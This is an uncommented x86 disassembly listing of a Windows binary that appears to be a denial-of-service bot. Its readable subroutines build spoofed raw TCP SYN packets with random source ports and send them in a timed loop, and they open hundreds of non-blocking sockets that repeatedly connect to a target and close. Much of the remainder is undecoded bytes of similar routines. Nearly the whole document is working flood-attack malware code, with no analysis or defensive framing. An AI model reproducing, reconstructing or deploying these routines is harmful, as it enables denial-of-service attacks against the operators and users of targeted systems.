		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B09
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8F
		push	1
		pop	eax


loc_412E8F:				; CODE XREF: ___:00412E8Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
word_412E9E	dw 8B55h		; DATA XREF: sub_401ACD+6722o
		dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFE44h, 685B016Ah, 0FFh,	0A5F3036Ah, 9889026Ah
		dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
		dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h
		dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh,	8D50D875h
		dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh
		dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h
		dd 90575959h, 2CD0C7E8h, 0F44D8D02h, 3351046Ah,	57026AFFh
		dd 0F45D8950h, 0B63415FFh
		db 4Ch,	0
word_412F4E	dw 0F883h		; DATA XREF: ___:off_43A86Co
		dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h
		dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h
		dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22CD050h, 0FE48858Dh
		dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h
		dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh,	8D572075h
		dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh
		dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h,	21A7E850h
		dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0E9E89057h,	6A022CCFh
		dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h
		dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h,	15FF50FFh
		dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh
		dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h
		dd 194h, 41C68h, 0C805C600h, 45004CE3h,	0B65415FFh, 7D39004Ch
		dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh
		dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh
		dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h
		dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h
		dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh
		dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h
		dd 0E8004CE3h, 87E2h, 100B999h,	0F9F70000h, 0E3DC1588h
		dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h
		dd 87BCE800h, 0B9990000h, 0F0h,	40068h,	66F9F700h, 0E3DE3D89h
		dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h
		dd 0B9990000h, 0FFh, 6852F9F7h,	4CE3E4h, 842FE8h, 0CC48300h
		dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFE4885h, 875FFFFh
		dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h
		dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h
		dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h
		dd 59FFFF82h, 0E8905759h, 22CCE00h, 0FFFC75FFh,	4CB6EC15h
		dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h,	14E9C1D0h
		dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh
		dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh
		dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 90575959h
		dd 2CCD7BE8h
		db 2
byte_413285	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5510o
		dd 10320B8h, 888EE800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h,	15FF0000h
		dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h
		dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
		dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
		dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h
		dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
		dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h,	858D14C4h
		dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h,	5959FFFFh
		dd 0BDE89057h, 3B022CCCh, 8B0C74C3h, 8B0C40h, 4589008Bh
		dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h
		dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h,	7D39C445h
		dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
		dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
		dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h,	4CB70Ch
		dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h
		dd 84BAh, 390CC483h, 2075D85Dh,	0BC858D53h, 0FFFFFFFCh
		dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h
		dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh
		dd 0FFFF800Bh, 0E8535959h, 22CCBF0h
		db 90h
byte_413411	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+575Co
		dd 10310B8h, 8702E800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h,	0E8900000h
		dd 227D36Ch, 8492E850h,	6A590000h, 6A026A11h, 0D415FF02h
		dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h,	83000081h
		dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h
		dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh,	0B6D815FFh
		dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
		dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h
		dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
		dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h
		dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 11E89056h, 8B022CCBh
		dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
		dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
		dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
		dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
		dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h,	838CE81Ah
		dd 0B9990000h, 0FFh, 3B46F9F7h,	9488D475h, 0FEFCEF35h
		dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh
		dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h
		dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 1FE890D8h
		dd 4E0225D9h, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h
		dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh
		dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h
		dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh
		dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h
		dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h,	7DF5E8E0h
		dd 5959FFFFh, 0D9E89057h
		db 0C9h, 2Ch, 2
byte_413627	db 55h			; DATA XREF: sub_401ACD+4DEDo
		dd 0EC81EC8Bh, 414h, 5608458Bh,	85B957h, 0F08B0000h, 0FDECBD8Dh
		dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
		dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h
		dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh
		dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h
		dd 59FFFF7Dh, 0E8905659h, 22CC93Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C6	proc near		; CODE XREF: ___:004137AFp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413784
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413711:				; CODE XREF: sub_4136C6+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413719:				; CODE XREF: sub_4136C6+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373C
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_41373C:				; CODE XREF: sub_4136C6+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413719
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41374A:				; CODE XREF: sub_4136C6+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41374A
		push	64h
		nop
		call	near ptr 2670EC6h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376E:				; CODE XREF: sub_4136C6+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376E
		dec	[ebp+arg_4]
		jnz	short loc_413711
		pop	edi
		pop	esi
		pop	ebx


loc_413784:				; CODE XREF: sub_4136C6+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C6	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C6
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BE
		push	1
		pop	eax


loc_4137BE:				; CODE XREF: ___:004137B9j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_4137CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+644Ao
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h,	858D500Ch
		dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h,	0CC483F6h
		dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh,	0FF70858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh
		dd 0C796E890h, 5E5F022Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386C	proc near		; CODE XREF: ___:00413B5Ap

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4138AC
		xor	eax, eax
		jmp	loc_413B1A
; ---------------------------------------------------------------------------


loc_4138AC:				; CODE XREF: sub_41386C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B12
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B08
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB654
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB654
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB654
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 2780000h
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27709FDh
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413997:				; CODE XREF: sub_41386C+25Dj
					; sub_41386C+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27709FDh
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B05
		jl	loc_413997
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B05
		jmp	loc_413997
; ---------------------------------------------------------------------------


loc_413ADC:				; CODE XREF: sub_41386C+247j
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43643C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_413B08
; ---------------------------------------------------------------------------


loc_413B05:				; CODE XREF: sub_41386C+25Bj
					; sub_41386C+269j
		mov	ebx, [ebp+arg_8]


loc_413B08:				; CODE XREF: sub_41386C+78j
					; sub_41386C+297j
		push	[ebp+var_C]
		call	dword_4CB6EC
		pop	esi


loc_413B12:				; CODE XREF: sub_41386C+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_413B1A:				; CODE XREF: sub_41386C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386C	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B69
		push	1
		pop	eax


loc_413B69:				; CODE XREF: ___:00413B64j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_413B78	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6E45o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h
		dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h,	0FFFFFFFCh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h
		dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh
		dd 0FFFF7803h, 90565959h, 2CC3E7E8h, 555E5F02h,	0EC81EC8Bh
		dd 98h,	6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h
		dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh
		dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
		dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
		dd 0C7000000h, 3AA045h,	5D890000h, 0B04589A4h, 0D47D8DABh
		dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
		dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
		dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h
		dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
		dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
		dd 4CB634h, 200BEh, 0D2E85600h,	8B000077h, 4270A83Dh, 45895900h
		dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
		dd 6885C766h, 2FFFFFFh,	5415FF00h, 66004CB6h, 0FF6A8589h
		dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h,	0F0C453Bh
		dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h
		dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h
		dd 0AC5589F9h, 7B69E8h,	0A4B99900h, 0C600001Fh,	0F745DC45h
		dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h
		dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h,	4CB654h
		dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh
		dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh
		dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h
		dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh,	8514h
		dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h
		dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh
		dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_413E36	dw 8B55h		; DATA XREF: sub_401ACD+53E9o
		dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh,	890E6AFFh
		dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
		dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h
		dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h
		dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h,	79D5E8h
		dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
		dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
		dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h
		dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 1E89053h, 8D022CC1h
		dd 46ACC4Dh, 53026A51h,	0CC758950h, 0B63415FFh,	0F883004Ch
		dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h
		dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h,	8D532375h
		dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
		dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
		dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 90535959h
		dd 2CC083E8h, 0C4858D02h, 50FFFFFDh, 0B69415FFh, 0F883004Ch
		dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h
		dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF742Fh, 90535959h, 2CC013E8h, 8D106A02h
		dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h
		dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh,	0B69415FFh
		dd 4589004Ch, 85D89C0h,	4589D7FFh, 2BD7FFD0h, 0D233D045h
		dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h
		dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh
		dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h
		dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h
		dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h
		dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh,	59FFFF6Bh
		dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh
		dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h
		dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h
		dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h
		dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h
		dd 42B28868h, 0EDE85000h, 59000077h, 7459C085h,	0F05D8909h
		dd 2F545C6h, 858D5CEBh,	0FFFFFE44h, 42B0C068h, 0CDE85000h
		dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h,	858D3CEBh
		dd 0FFFFFE44h, 42B0B868h, 0ADE85000h, 59000077h, 7459C085h
		dd 7784E825h, 36A0000h,	0F9F75999h, 0E8F05589h,	7776h
		dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h
		dd 0C6000002h, 0FF50F445h, 4CB65415h, 45896600h, 0E0458BF6h
